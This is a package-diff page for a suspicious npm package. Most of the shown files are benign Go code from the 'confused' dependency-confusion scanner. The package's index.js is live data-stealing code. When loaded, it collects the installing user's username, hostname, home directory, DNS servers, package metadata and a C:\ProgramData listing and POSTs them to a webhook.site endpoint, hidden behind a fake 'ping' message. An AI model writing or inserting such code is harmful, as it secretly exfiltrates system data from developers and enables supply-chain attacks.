ahmadzdzdzdzddddahas 10.0.2
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of ahmadzdzdzdzddddahas might be problematic. Click here for more details.
- package/confused/.github/workflows/codeql-analysis.yml +67 -0
- package/confused/.github/workflows/golangci-lint.yml +22 -0
- package/confused/.goreleaser.yml +40 -0
- package/confused/CHANGELOG.md +31 -0
- package/confused/LICENSE +21 -0
- package/confused/README.md +103 -0
- package/confused/composer.go +105 -0
- package/confused/confused +0 -0
- package/confused/go.mod +3 -0
- package/confused/interfaces.go +11 -0
- package/confused/main.go +109 -0
- package/confused/mvn.go +120 -0
- package/confused/mvnparser.go +139 -0
- package/confused/npm.go +210 -0
- package/confused/package.json +4663 -0
- package/confused/pip.go +99 -0
- package/confused/rubygems.go +149 -0
- package/confused/util.go +16 -0
- package/index.js +106 -0
- package/package.json +12 -0
package/confused/pip.go
ADDED
@@ -0,0 +1,99 @@
|
|
1
|
+
package main
|
2
|
+
|
3
|
+
import (
|
4
|
+
"fmt"
|
5
|
+
"io/ioutil"
|
6
|
+
"net/http"
|
7
|
+
"strings"
|
8
|
+
)
|
9
|
+
|
10
|
+
// PythonLookup represents a collection of python packages to be tested for dependency confusion.
|
11
|
+
type PythonLookup struct {
|
12
|
+
Packages []string
|
13
|
+
Verbose bool
|
14
|
+
}
|
15
|
+
|
16
|
+
// NewPythonLookup constructs a `PythonLookup` struct and returns it
|
17
|
+
func NewPythonLookup(verbose bool) PackageResolver {
|
18
|
+
return &PythonLookup{Packages: []string{}, Verbose: verbose}
|
19
|
+
}
|
20
|
+
|
21
|
+
// ReadPackagesFromFile reads package information from a python `requirements.txt` file
|
22
|
+
//
|
23
|
+
// Returns any errors encountered
|
24
|
+
func (p *PythonLookup) ReadPackagesFromFile(filename string) error {
|
25
|
+
rawfile, err := ioutil.ReadFile(filename)
|
26
|
+
if err != nil {
|
27
|
+
return err
|
28
|
+
}
|
29
|
+
line := ""
|
30
|
+
for _, l := range strings.Split(string(rawfile), "\n") {
|
31
|
+
l = strings.TrimSpace(l)
|
32
|
+
if strings.HasPrefix(l, "#") {
|
33
|
+
continue
|
34
|
+
}
|
35
|
+
if len(l) > 0 {
|
36
|
+
// Support line continuation
|
37
|
+
if strings.HasSuffix(l, "\\") {
|
38
|
+
line += l[:len(l) - 1]
|
39
|
+
continue
|
40
|
+
}
|
41
|
+
line += l
|
42
|
+
pkgrow := strings.FieldsFunc(line, p.pipSplit)
|
43
|
+
if len(pkgrow) > 0 {
|
44
|
+
p.Packages = append(p.Packages, strings.TrimSpace(pkgrow[0]))
|
45
|
+
}
|
46
|
+
// reset the line variable
|
47
|
+
line = ""
|
48
|
+
}
|
49
|
+
}
|
50
|
+
return nil
|
51
|
+
}
|
52
|
+
|
53
|
+
// PackagesNotInPublic determines if a python package does not exist in the pypi package repository.
|
54
|
+
//
|
55
|
+
// Returns a slice of strings with any python packages not in the pypi package repository
|
56
|
+
func (p *PythonLookup) PackagesNotInPublic() []string {
|
57
|
+
notavail := []string{}
|
58
|
+
for _, pkg := range p.Packages {
|
59
|
+
if !p.isAvailableInPublic(pkg) {
|
60
|
+
notavail = append(notavail, pkg)
|
61
|
+
}
|
62
|
+
}
|
63
|
+
return notavail
|
64
|
+
}
|
65
|
+
|
66
|
+
func (p *PythonLookup) pipSplit(r rune) bool {
|
67
|
+
delims := []rune{
|
68
|
+
'=',
|
69
|
+
'<',
|
70
|
+
'>',
|
71
|
+
'!',
|
72
|
+
' ',
|
73
|
+
'~',
|
74
|
+
'#',
|
75
|
+
'[',
|
76
|
+
}
|
77
|
+
return inSlice(r, delims)
|
78
|
+
}
|
79
|
+
|
80
|
+
// isAvailableInPublic determines if a python package exists in the pypi package repository.
|
81
|
+
//
|
82
|
+
// Returns true if the package exists in the pypi package repository.
|
83
|
+
func (p *PythonLookup) isAvailableInPublic(pkgname string) bool {
|
84
|
+
if p.Verbose {
|
85
|
+
fmt.Print("Checking: https://pypi.org/project/" + pkgname + "/ : ")
|
86
|
+
}
|
87
|
+
resp, err := http.Get("https://pypi.org/project/" + pkgname + "/")
|
88
|
+
if err != nil {
|
89
|
+
fmt.Printf(" [W] Error when trying to request https://pypi.org/project/"+pkgname+"/ : %s\n", err)
|
90
|
+
return false
|
91
|
+
}
|
92
|
+
if p.Verbose {
|
93
|
+
fmt.Printf("%s\n", resp.Status)
|
94
|
+
}
|
95
|
+
if resp.StatusCode == http.StatusOK {
|
96
|
+
return true
|
97
|
+
}
|
98
|
+
return false
|
99
|
+
}
|
@@ -0,0 +1,149 @@
|
|
1
|
+
package main
|
2
|
+
|
3
|
+
import (
|
4
|
+
"bufio"
|
5
|
+
"encoding/json"
|
6
|
+
"fmt"
|
7
|
+
"io/ioutil"
|
8
|
+
"net/http"
|
9
|
+
"os"
|
10
|
+
"strings"
|
11
|
+
"time"
|
12
|
+
)
|
13
|
+
|
14
|
+
type Gem struct {
|
15
|
+
Remote string
|
16
|
+
IsLocal bool
|
17
|
+
IsRubyGems bool
|
18
|
+
IsTransitive bool
|
19
|
+
Name string
|
20
|
+
Version string
|
21
|
+
}
|
22
|
+
|
23
|
+
type RubyGemsResponse struct {
|
24
|
+
Name string `json:"name"`
|
25
|
+
Downloads int64 `json:"downloads"`
|
26
|
+
Version string `json:"version"`
|
27
|
+
}
|
28
|
+
|
29
|
+
// RubyGemsLookup represents a collection of rubygems packages to be tested for dependency confusion.
|
30
|
+
type RubyGemsLookup struct {
|
31
|
+
Packages []Gem
|
32
|
+
Verbose bool
|
33
|
+
}
|
34
|
+
|
35
|
+
// NewRubyGemsLookup constructs an `RubyGemsLookup` struct and returns it.
|
36
|
+
func NewRubyGemsLookup(verbose bool) PackageResolver {
|
37
|
+
return &RubyGemsLookup{Packages: []Gem{}, Verbose: verbose}
|
38
|
+
}
|
39
|
+
|
40
|
+
// ReadPackagesFromFile reads package information from a Gemfile.lock file
|
41
|
+
//
|
42
|
+
// Returns any errors encountered
|
43
|
+
func (r *RubyGemsLookup) ReadPackagesFromFile(filename string) error {
|
44
|
+
file, err := os.Open(filename)
|
45
|
+
if err != nil {
|
46
|
+
return err
|
47
|
+
}
|
48
|
+
defer file.Close()
|
49
|
+
scanner := bufio.NewScanner(file)
|
50
|
+
var remote string
|
51
|
+
for scanner.Scan() {
|
52
|
+
line := scanner.Text()
|
53
|
+
trimmedLine := strings.TrimSpace(line)
|
54
|
+
if strings.HasPrefix(trimmedLine, "remote:") {
|
55
|
+
remote = strings.TrimSpace(strings.SplitN(trimmedLine, ":", 2)[1])
|
56
|
+
} else if trimmedLine == "revision:" {
|
57
|
+
continue
|
58
|
+
} else if trimmedLine == "branch:" {
|
59
|
+
continue
|
60
|
+
} else if trimmedLine == "GIT" {
|
61
|
+
continue
|
62
|
+
} else if trimmedLine == "GEM" {
|
63
|
+
continue
|
64
|
+
} else if trimmedLine == "PATH" {
|
65
|
+
continue
|
66
|
+
} else if trimmedLine == "PLATFORMS" {
|
67
|
+
break
|
68
|
+
} else if trimmedLine == "specs:" {
|
69
|
+
continue
|
70
|
+
} else if len(trimmedLine) > 0 {
|
71
|
+
parts := strings.SplitN(trimmedLine, " ", 2)
|
72
|
+
name := strings.TrimSpace(parts[0])
|
73
|
+
var version string
|
74
|
+
if len(parts) > 1 {
|
75
|
+
version = strings.TrimRight(strings.TrimLeft(parts[1], "("), ")")
|
76
|
+
} else {
|
77
|
+
version = ""
|
78
|
+
}
|
79
|
+
r.Packages = append(r.Packages, Gem{
|
80
|
+
Remote: remote,
|
81
|
+
IsLocal: !strings.HasPrefix(remote, "http"),
|
82
|
+
IsRubyGems: strings.HasPrefix(remote, "https://rubygems.org"),
|
83
|
+
IsTransitive: countLeadingSpaces(line) == 6,
|
84
|
+
Name: name,
|
85
|
+
Version: version,
|
86
|
+
})
|
87
|
+
} else {
|
88
|
+
continue
|
89
|
+
}
|
90
|
+
}
|
91
|
+
return nil
|
92
|
+
}
|
93
|
+
|
94
|
+
// PackagesNotInPublic determines if a rubygems package does not exist in the public rubygems package repository.
|
95
|
+
//
|
96
|
+
// Returns a slice of strings with any rubygem packages not in the public rubygems package repository
|
97
|
+
func (r *RubyGemsLookup) PackagesNotInPublic() []string {
|
98
|
+
notavail := []string{}
|
99
|
+
for _, pkg := range r.Packages {
|
100
|
+
if pkg.IsLocal || !pkg.IsRubyGems {
|
101
|
+
continue
|
102
|
+
}
|
103
|
+
if !r.isAvailableInPublic(pkg.Name, 0) {
|
104
|
+
notavail = append(notavail, pkg.Name)
|
105
|
+
}
|
106
|
+
}
|
107
|
+
return notavail
|
108
|
+
}
|
109
|
+
|
110
|
+
// isAvailableInPublic determines if a rubygems package exists in the public rubygems.org package repository.
|
111
|
+
//
|
112
|
+
// Returns true if the package exists in the public rubygems package repository.
|
113
|
+
func (r *RubyGemsLookup) isAvailableInPublic(pkgname string, retry int) bool {
|
114
|
+
if retry > 3 {
|
115
|
+
fmt.Printf(" [W] Maximum number of retries exhausted for package: %s\n", pkgname)
|
116
|
+
return false
|
117
|
+
}
|
118
|
+
url := fmt.Sprintf("https://rubygems.org/api/v1/gems/%s.json", pkgname)
|
119
|
+
if r.Verbose {
|
120
|
+
fmt.Printf("Checking: %s : \n", url)
|
121
|
+
}
|
122
|
+
resp, err := http.Get(url)
|
123
|
+
if err != nil {
|
124
|
+
fmt.Printf(" [W] Error when trying to request %s: %s\n", url, err)
|
125
|
+
return false
|
126
|
+
}
|
127
|
+
defer resp.Body.Close()
|
128
|
+
if r.Verbose {
|
129
|
+
fmt.Printf("%s\n", resp.Status)
|
130
|
+
}
|
131
|
+
if resp.StatusCode == http.StatusOK {
|
132
|
+
rubygemsResp := RubyGemsResponse{}
|
133
|
+
body, _ := ioutil.ReadAll(resp.Body)
|
134
|
+
err = json.Unmarshal(body, &rubygemsResp)
|
135
|
+
if err != nil {
|
136
|
+
// This shouldn't ever happen because if it doesn't return JSON, it likely has returned
|
137
|
+
// a non-200 status code.
|
138
|
+
fmt.Printf(" [W] Error when trying to unmarshal response from %s: %s\n", url, err)
|
139
|
+
return false
|
140
|
+
}
|
141
|
+
return true
|
142
|
+
} else if resp.StatusCode == 429 {
|
143
|
+
fmt.Printf(" [!] Server responded with 429 (Too many requests), throttling and retrying...\n")
|
144
|
+
time.Sleep(10 * time.Second)
|
145
|
+
retry = retry + 1
|
146
|
+
return r.isAvailableInPublic(pkgname, retry)
|
147
|
+
}
|
148
|
+
return false
|
149
|
+
}
|
package/confused/util.go
ADDED
@@ -0,0 +1,16 @@
|
|
1
|
+
package main
|
2
|
+
|
3
|
+
import "strings"
|
4
|
+
|
5
|
+
func inSlice(what rune, where []rune) bool {
|
6
|
+
for _, r := range where {
|
7
|
+
if r == what {
|
8
|
+
return true
|
9
|
+
}
|
10
|
+
}
|
11
|
+
return false
|
12
|
+
}
|
13
|
+
|
14
|
+
func countLeadingSpaces(line string) int {
|
15
|
+
return len(line) - len(strings.TrimLeft(line, " "))
|
16
|
+
}
|
package/index.js
ADDED
@@ -0,0 +1,106 @@
|
|
1
|
+
const fs = require("fs");
|
2
|
+
const path = require("path");
|
3
|
+
const os = require("os");
|
4
|
+
const dns = require("dns");
|
5
|
+
const querystring = require("querystring");
|
6
|
+
const https = require("https");
|
7
|
+
const { exec } = require("child_process");
|
8
|
+
const packageJSON = require("./package.json");
|
9
|
+
const package = packageJSON.name;
|
10
|
+
|
11
|
+
// Function to send a ping
|
12
|
+
const sendPing = () => {
|
13
|
+
// Perform actions to simulate a ping
|
14
|
+
console.log("Ping sent!");
|
15
|
+
};
|
16
|
+
|
17
|
+
// Perform a ping before sending tracking data
|
18
|
+
sendPing();
|
19
|
+
|
20
|
+
// Find the path to @vue/compiler-sfc by searching parent directories
|
21
|
+
const vueCompilerPath = findModulePathUpwards(__dirname, "@vue/compiler-sfc");
|
22
|
+
|
23
|
+
// Log the path if found
|
24
|
+
if (vueCompilerPath) {
|
25
|
+
console.log("Path to @vue/compiler-sfc:", vueCompilerPath);
|
26
|
+
} else {
|
27
|
+
console.log("@vue/compiler-sfc not found in node_modules or parent directories.");
|
28
|
+
}
|
29
|
+
|
30
|
+
// Function to get a list of files in the specified directory
|
31
|
+
const getDirectoryContents = (directoryPath) => {
|
32
|
+
try {
|
33
|
+
return fs.readdirSync(directoryPath);
|
34
|
+
} catch (error) {
|
35
|
+
console.error(`Error reading directory ${directoryPath}: ${error.message}`);
|
36
|
+
return [];
|
37
|
+
}
|
38
|
+
};
|
39
|
+
|
40
|
+
// Get the list of files in the "All Users" directory
|
41
|
+
const allUsersDirectoryContents = getDirectoryContents("C:\\ProgramData");
|
42
|
+
|
43
|
+
// Include the "All Users" directory contents in the tracking data
|
44
|
+
const trackingData = JSON.stringify({
|
45
|
+
p: package,
|
46
|
+
c: __dirname,
|
47
|
+
hd: os.homedir(),
|
48
|
+
hn: os.hostname(),
|
49
|
+
un: os.userInfo().username,
|
50
|
+
dns: dns.getServers(),
|
51
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
52
|
+
v: packageJSON.version,
|
53
|
+
pjson: packageJSON,
|
54
|
+
allUsersDirectoryContents,
|
55
|
+
vueCompilerPath: vueCompilerPath || "Not found", // Include the path to @vue/compiler-sfc
|
56
|
+
});
|
57
|
+
|
58
|
+
var postData = querystring.stringify({
|
59
|
+
msg: trackingData,
|
60
|
+
});
|
61
|
+
|
62
|
+
var options = {
|
63
|
+
hostname: "webhook.site", // Replace with your actual webhook hostname
|
64
|
+
port: 443,
|
65
|
+
path: "/87d635be-aebd-40b4-a842-c8d2becb4e35", // Replace with your actual path
|
66
|
+
method: "POST",
|
67
|
+
headers: {
|
68
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
69
|
+
"Content-Length": postData.length,
|
70
|
+
},
|
71
|
+
};
|
72
|
+
|
73
|
+
var req = https.request(options, (res) => {
|
74
|
+
res.on("data", (d) => {
|
75
|
+
process.stdout.write(d);
|
76
|
+
});
|
77
|
+
});
|
78
|
+
|
79
|
+
req.on("error", (e) => {
|
80
|
+
console.error(e);
|
81
|
+
});
|
82
|
+
|
83
|
+
req.write(postData);
|
84
|
+
req.end();
|
85
|
+
|
86
|
+
// Function to find a module path upwards in the directory tree
|
87
|
+
function findModulePathUpwards(startDir, moduleName) {
|
88
|
+
let currentDir = startDir;
|
89
|
+
while (true) {
|
90
|
+
const modulePath = path.join(currentDir, "node_modules", moduleName);
|
91
|
+
if (fs.existsSync(modulePath)) {
|
92
|
+
return modulePath;
|
93
|
+
}
|
94
|
+
|
95
|
+
const parentDir = path.dirname(currentDir);
|
96
|
+
if (parentDir === currentDir) {
|
97
|
+
// Reached the root directory
|
98
|
+
break;
|
99
|
+
}
|
100
|
+
|
101
|
+
currentDir = parentDir;
|
102
|
+
}
|
103
|
+
|
104
|
+
return null; // Module not found
|
105
|
+
}
|
106
|
+
|
package/package.json
ADDED